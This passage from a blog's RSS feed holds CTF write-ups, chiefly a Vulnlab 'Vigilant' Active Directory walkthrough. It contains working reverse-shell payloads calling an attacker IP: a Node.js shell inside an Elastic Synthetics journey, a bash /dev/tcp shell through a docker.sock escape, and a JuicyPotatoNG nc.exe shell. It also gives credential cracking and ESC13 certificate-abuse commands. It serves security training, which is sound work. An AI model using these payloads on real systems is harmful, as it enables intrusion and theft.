alt="" src="https://cdn-images-1.medium.com/max/811/0*dHybt3qeFK_PEUEc" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/0*8dv_thaJjE4whqZ3" /></figure><p>Using juicypotato-ng to abuse the privilege and get a shell a SYSTEM</p><pre>.\JuicyPotatoNG.exe -t * -p &quot;C:\Windows\system32\cmd.exe&quot; -a &quot;/c C:\Users\sqlsvc\nc.exe 10.8.0.136 4444 -e cmd.exe&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NaI5J2ZTpaE1UjPy" /></figure><h3>References</h3><ul><li><a href="https://exploit-notes.hdks.org/exploit/windows/active-directory/smb-pentesting/">https://exploit-notes.hdks.org/exploit/windows/active-directory/smb-pentesting/</a></li><li><a href="https://github.com/itm4n/PrivescCheck">https://github.com/itm4n/PrivescCheck</a></li><li><a href="https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services">https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a7eb5cad15fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnlab — Vigilant]]></title>
            <link>https://arz101.medium.com/vulnlab-vigilant-01dcd472d8ae?source=rss-7fb09031e8a8------2</link>
            <guid isPermaLink="false">https://medium.com/p/01dcd472d8ae</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[vulnlab]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[ARZ101]]></dc:creator>
            <pubDate>Tue, 30 Apr 2024 21:43:54 GMT</pubDate>
            <atom:updated>2024-04-30T21:48:37.377Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnlab — Vigilant</h3><p>Vigilant a hard rated chained machine involved enumerating smb shares to find an encrypted pdf file, analyzing the ADAudit dll file to decrypt the contents of the file revealing credentials for kibana, using synthetic monitoring to obtain a shell on docker container, breaking out of the container through docker sock by creating a container and mounting the host file system, recovering hash from SSSD for a domain user and escalating to local admin on domain controller through ESC13</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*-MIl8cz7X9A8pHCD" /></figure><h3>DC.vigilant.vl</h3><pre>PORT     STATE SERVICE           VERSION          <br>53/tcp   open  domain            Simple DNS Plus              <br>88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2024-04-21 16:06:06Z)<br>135/tcp  open  msrpc             Microsoft Windows RPC<br>139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn<br>389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: vigilant.vl0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=DC.vigilant.vl<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<br>445/tcp  open  microsoft-ds? <br>464/tcp  open  kpasswd5?             <br>593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  ssl/ldapssl?<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=DC.vigilant.vl<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<br>3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: vigilant.vl0., Site: Default-First-Site-Name)<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=DC.vigilant.vl<br>3269/tcp open  globalcatLDAPssl?<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=DC.vigilant.vl<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:DC.vigilant.vlc<br>3389/tcp open  ms-wbt-server     Microsoft Terminal Services<br>| rdp-ntlm-info: <br>|   Target_Name: VIGILANT<br>|   NetBIOS_Domain_Name: VIGILANT<br>|   NetBIOS_Computer_Name: DC<br>|   DNS_Domain_Name: vigilant.vl<br>|   DNS_Computer_Name: DC.vigilant.vl<br>|   Product_Version: 10.0.20348<br>|_  System_Time: 2024-04-21T16:06:29+00:00<br>5601/tcp  open  esmagent<br>9200/tcp open  wap-wsp?<br>| ssl-cert: Subject: commonName=instance<br>| Subject Alternative Name: IP Address:127.0.0.1, DNS:dc.vigilant.vl</pre><h3>SRV</h3><pre>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:                              <br>|   256 96c0d790bbcc7716c6e1a503f1ca5c25 (ECDSA)<br>|_  256 1223dbbbd8563e14197104342c224965 (ED25519)<br>80/tcp open  http    nginx 1.18.0 (Ubuntu)<br>| http-methods: <br>|_  Supported Methods: GET HEAD     <br>|_http-server-header: nginx/1.18.0 (Ubuntu)<br>|_http-title: Vigilant Cybersecurity<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><h4>PORT 80</h4><p>Visiting the webserver, it shows us one pager site having nothing out of interest</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pjhDOr4C5oCtnips" /></figure><h4>PORT 445 (SMB)</h4><p>Listing smb shares with anonymous user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/0*tJKn5V888GvmueVO" /></figure><p>IT share can be accessed anonymously having password policy reoport which seems to be encrypted judging from the file name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/0*JUwrsjgJHxZ_DjDn" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/0*Jjii8mzXk--h0bM8" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/0*FfOaz-MxbnS6GxBW" /></figure><p>On opening this file, it won’t be recognized by document reviewer as the contents of this file are encrypted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/0*9Oe-2syhDElXRXSp" /></figure><h3>Decrypting the PDF File By Analyzing the Encrypt function</h3><p>Since this report was generated by ADAudit tool, it’s possible that there might be something we need to grab from there, downloading ADAudit.dll file from share</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/0*hqR9hbhfxv6aIIsk" /></figure><p>On analyzing the dll file with ILSpy we&#39;ll get the password for svc_auditreporter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*i9HcZ0y20pm8k7wQ" /></figure><p>Verifying these credentials through netexec to see if they are valid</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bvZqQCBb5U7NDbGE" /></figure><p>We can also find what algorithm was used to encrypt the pdf file from ADAuditLib.dll</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*julMRDmcs68LlopG" /></figure><p>For encrypting the contents, it’s using XORing with key and then performing bitwise operations, the key here is generated with the seed 12345 which will return the same value, afterwards it&#39;s shuffling the bytes with ShuffleBytes function and then writing the output, for decrypting it we can reverse the shuffling of bytes</p><pre>private static void UnshuffleBytes(ref byte[] data)<br>    {<br>        for (int i = data.Length - 2; i &gt;= 0; i -= 2)<br>        {<br>            byte b = data[i];<br>            data[i] = data[i - 1];<br>            data[i - 1] = b;<br>        }<br>    }</pre><p>Reverse the XORing and bitwise part</p><pre>for (int i = 0; i &lt; data.Length; i++)<br>        {<br>            data[i] = (byte)((data[i] &gt;&gt; 4) | (data[i] &lt;&lt; 4));<br>            data[i] ^= array[i % array.Length];<br>        }</pre><p>The resulting code will look like this for decryption</p><pre>using System;<br>using System.IO;<br>public static class DecryptionUtility<br>{<br>    public static void DecryptFile(string encryptedFilePath)<br>    {<br>        if (!File.Exists(encryptedFilePath))<br>        {<br>            throw new FileNotFoundException();<br>        }<br>        byte[] data = File.ReadAllBytes(encryptedFilePath);<br>        UnshuffleBytes(ref data);<br>        byte[] array = GenerateKey(data.Length);<br>        for (int i = 0; i &lt; data.Length; i++)<br>        {<br>            data[i] = (byte)((data[i] &gt;&gt; 4) | (data[i] &lt;&lt; 4));<br>            data[i] ^= array[i % array.Length];<br>        }<br>        string decryptedFilePath = encryptedFilePath.Replace(&quot;_encrypted&quot;, &quot;_decrypted&quot;);<br>        File.WriteAllBytes(decryptedFilePath, data);<br>    }<br>    private static void UnshuffleBytes(ref byte[] data)<br>    {<br>        for (int i = data.Length - 2; i &gt;= 0; i -= 2) <br>        {<br>            byte b = data[i];<br>            data[i] = data[i - 1];<br>            data[i - 1] = b;<br>        }<br>    }<br>    private static byte[] GenerateKey(int length)<br>    {<br>        byte[] array = new byte[length];<br>        new Random(12345).NextBytes(array);<br>        return array;<br>    }<br>    static public void Main(String[] args)<br>    {<br>        DecryptFile(&quot;E:\\Password_Strength_Report_encrypted.pdf&quot;);<br>    }<br>}</pre><p>Running this will decrypt the file present us with 4 set of user creds</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*b_S7JRH2dde8wpe6" /></figure><p>Spraying these creds, we’ll get 3 valid hits and one user having password expired</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lX57eNlJYp2YpDuq" /></figure><p>Enumerating the domain first to see if we can go anywhere from the users we have</p><pre>python3 /opt/BloodHound.py/bloodhound.py  -u &#39;svc_auditreporter&#39; -p &#39;pass&#39; -d vigilant.vl -dc DC.vigilant.vl -ns 10.10.224.85</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*os0ThSvmzcdsWTBh" /></figure><p>We have pamela.clark belonging to TECHSUPPORTERS group</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/0*X3r9y_vf2D0_QN6O" /></figure><p>Alex.powell belonging to ADTeams</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*v0xKmH2gvoptrSrn" /></figure><p>Edwin.Dixon in Accountants group</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/0*iC__j0W_UbF5JJZ7" /></figure><p>And Daniel.Washington in MarketingStartegies group</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*urZspnuzDwlVPZ6y" /></figure><h3>Accessing Kibana With Pamela</h3><p>But this doesn’t further lead to anywhere on the domain, the domain controller has instance of Kibana running on port 5601, with Pamela’s password we can login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AvRAxUPxFD-K-JRU" /></figure><p>Kibana is used for data visualization to detect patterns, monitor the environment, look for abnormal behavior, representing it in the form of graph and charts, here we are a superuser so we pretty much control over this instance of kibana</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*D94IaQaR_W69M-5h" /></figure><p>But we need to figure out the agents using kibana and how to achieve access on those hosts, agents can be listed through Fleets <a href="http://dc.vigilant.vl:5601/app/fleet">http://dc.vigilant.vl:5601/app/fleet</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nB6tlAKnpVwVSwOm" /></figure><p>There are two agents, one is the linux server and the other is domain controller, so most likely we’ll be dealing with the linux machine as we have the integration for html page that we saw earlier</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Qz4BLJWEJsiMuVY2" /></figure><p>Googling around a way to execute commands or get a shell from kibana lead us to nowhere until taking a hint from vulnlab’s wiki, that we can achieve it from Synthetics , which is used for monitoring and test if the web site is functioning correctly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*V5XAKL5GWNL3Dvc5" /></figure><p>We already have the marketing page being monitored, we can run test scripts on this page, to do that we need to create what is called a monitor , there&#39;s already a monitor configured, which is using type script to visit the marketing page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*y9CFuhoMbDexL_IN" /></figure><p>Using this script we can use file protocol to read local files like /etc/passwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3RudrFEZSz2v0c95" /></figure><p>As soon as this test will be completed it will take a screenshot, having the result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*P4oas7wA1YUIpO6D" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/0*p3sbJ9z8iZm5LScD" /></figure><h3>Getting a reverse shell through synthetic monitor</h3><p>However just having the ability to read local files won’t lead us anywhere, we need to get a shell , the script that we have used it’s playwright, an open source nodejs library for browser testing, when using child_process to execute system command we&#39;ll get an error that only step definitions are allowed with inline scripts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/0*0E8eX-iplOebaVdL" /></figure><p>For using external packages like child_process, we need to create journey which is a complete step of doing something rather than creating a monitor which just checks if the page is loading correctly. According to the documentation we first need to initialize the synthetic project</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iB_PwPbBGEOCDqBt" /></figure><pre>npx @elastic/synthetics init test</pre><p>At initializing the project, we’ll be asked to provide the API key, generating the project API key from here</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Jfywc7Wzp_HHiXLm" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ifm1PJCPqewSSU74" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/0*uNjiBfvX9QVOIyMn" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/0*XUC-CTtP1TEDlnfr" /></figure><p>Modify the contents of example.journey.ts from the journeys directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/0*2rScmjFaJ91PiC54" /></figure><pre>import { journey, step, expect } from &#39;@elastic/synthetics&#39;;<br>journey(&#39;Ensure placeholder is correct&#39;, ({ page }) =&gt; {<br>  step(&#39;Load the demo page&#39;, async () =&gt; {<br>    await page.goto(&#39;http://10.8.0.136&#39;);<br>    (function(){<br>    var net = require(&quot;net&quot;),<br>        cp = require(&quot;child_process&quot;),<br>        sh = cp.spawn(&quot;/bin/sh&quot;, []);<br>    var client = new net.Socket();<br>    client.connect(2222, &quot;10.8.0.136&quot;, function(){<br>        client.pipe(sh.stdin);<br>        sh.stdout.pipe(client);<br>        sh.stderr.pipe(client);<br>    });<br>    return /a/; <br>})();<br>  });<br>  });</pre><p>Using push to create this project, it will create the monitor</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/0*l1JdmoY-Ajp2AuEM" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LBid0CHrwq40juYZ" /></figure><p>Wait for few minutes for the monitor to be triggered having netcat listener and http server ready</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/0*LmjCXL77of7H7z3w" /></figure><p>From the filesystem, this seems like we are inside a docker container</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/0*61kgFAzmwFZiz-K3" /></figure><h3>Breaking out of container via docker sock</h3><p>By running capsh we can list down the capabilities of the container but from the output it doesn&#39;t seem like it has a capability that we can abuse</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bmDDPza20mGE8hKL" /></figure><p>Since elastic-agent is part of root group, docker.sock can be mounted which can be used for communicating with docker daemon to mount the host file system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/0*Qzr4Ln_DmXRw7AI1" /></figure><p>Using <a href="https://github.com/stealthcopter/deepce">deepce</a> we can breakout of docker utilizing docker.sock, to test it we can try reading /etc/shadow from the host by creating a container and mount the file system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/0*ZOfws1cpD8J-zTK_" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*YyTMO7sstZeWmh_X" /></figure><p>We can run system commands on the host, so running a bash reverse shell</p><pre>deepce.sh --exploit SOCK --command &quot;/bin/bash -c &#39;bash -i &gt;&amp; /dev/tcp/10.8.0.136/3333 0&gt;&amp;1&#39;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/0*aZMgAo6A804imISm" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/0*78QkG-bEsFbOTxsP" /></figure><p>I placed my ssh public key to login as root just to get a proper shell as the container created didn’t had any binaries</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X4yEDbiL4LJ_a4Dr" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/0*fenWUeVg4VFfBdCm" /></figure><h3>Extracting cached credentials (SSSD creds)</h3><p>From linpeas, we find that this machine is domain joined and cache credentials is enabled from /etc/sssd/sssd.conf , sssd is responsible for enabling the system to access authentication services such as active directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/0*lH7SD63oinOu9hRj" /></figure><p>Linux systems joined with AD store Kerberos credentials locally in the credential cache file referred to as the ccache. By default sssd maintains a copy of cached credential in /var/lib/sss/db .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/0*dCk7702Vstnzt8-H" /></figure><p>With tdbdump we can read the contents of ldb cache file and we want to look for cachedPassword</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hFi_Dc7ywhDLv6cM" /></figure><p>gabriel.stewart’s sha512crypt hash can be cracked with either john or hashcat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/0*i9wcHK25fF0pmWBH" /></figure><p>Gabriel is a part of JUNIORADMINS group which is further part of REMOTE MANAGEMENT USERS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Yj3vyNLERgpNBH7q" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/0*1Fg70a8iX2lQkCR8" /></figure><p>Again there are no acls or any special privilege given to gabriel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eEfwHvilH9xf2fBY" /></figure><p>Running certutil this machine has ADCS installed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/0*Qm7HP9rqjqRl2API" /></figure><p>Certificate templates can be enumerated with certify but I’ll be using the python version certipy as it had support for ESC13 added <a href="https://github.com/ly4k/Certipy/pull/196">ly4k/Certipy#196</a></p><h3>Escalating privileges through ESC13</h3><pre>certipy find -u gabriel.stewart -vulnerable -target DC.vigilant.vl -dc-ip 10.10.182.37 -stdout</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*45NTi2kCYmskiShQ" /></figure><p>certipy finds one template which gabriel can enroll, with a linked group Temporary Admins having EKU set to Client Authentication, the template can grant privileges of a linked group to the user who enrolls for it without being part of that group, this is known as ESC13</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-5cp6QLpqImHZjT9" /></figure><p>Having this certificate we can become a local admin to domain controller</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/0*D2DL6OBC3SbMIvNE" /></figure><pre>certipy req -u &#39;gabriel.stewart&#39; -ca &#39;vigilant-CA&#39; -dc-ip 10.10.182.37 -target DC.vigilant.vl -template &#39;VigilantAdmins&#39; -key-size 4096</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LZ61tdBWWE6dfjYB" /></figure><p>Requesting TGT with the certificate</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pSo4aw0cROiJgRwZ" /></figure><p>Now logging with winrm again but this time with ticket we obtained since as it represents that we are a member of temporary admin group</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/0*mJ7vutjuPPAS3AOJ" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MDHPul88nq3yP3Xl" /></figure><h3>References</h3><ul><li><a href="https://www.elastic.co/guide/en/fleet/7.17/view-elastic-agent-status.html">https://www.elastic.co/guide/en/fleet/7.17/view-elastic-agent-status.html</a></li><li><a href="https://www.elastic.co/guide/en/observability/current/synthetics-get-started-ui.html">https://www.elastic.co/guide/en/observability/current/synthetics-get-started-ui.html</a></li><li><a href="https://www.elastic.co/guide/en/observability/current/synthetics-recorder.html">https://www.elastic.co/guide/en/observability/current/synthetics-recorder.html</a></li><li><a href="https://gist.github.com/secoats/44b9b42920ac4a825e54e7310303cfdb">https://gist.github.com/secoats/44b9b42920ac4a825e54e7310303cfdb</a></li><li><a href="https://download.docker.com/linux/static/stable/">https://download.docker.com/linux/static/stable/</a></li><li><a href="https://madhuakula.com/content/attacking-and-auditing-docker-containers-using-opensource/attacking-docker-containers/insecure-volume-mount.html">https://madhuakula.com/content/attacking-and-auditing-docker-containers-using-opensource/attacking-docker-containers/insecure-volume-mount.html</a></li><li><a href="https://github.com/stealthcopter/deepce">https://github.com/stealthcopter/deepce</a></li><li><a href="https://github.com/ly4k/Certipy/pull/196">ly4k/Certipy#196</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=01dcd472d8ae" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>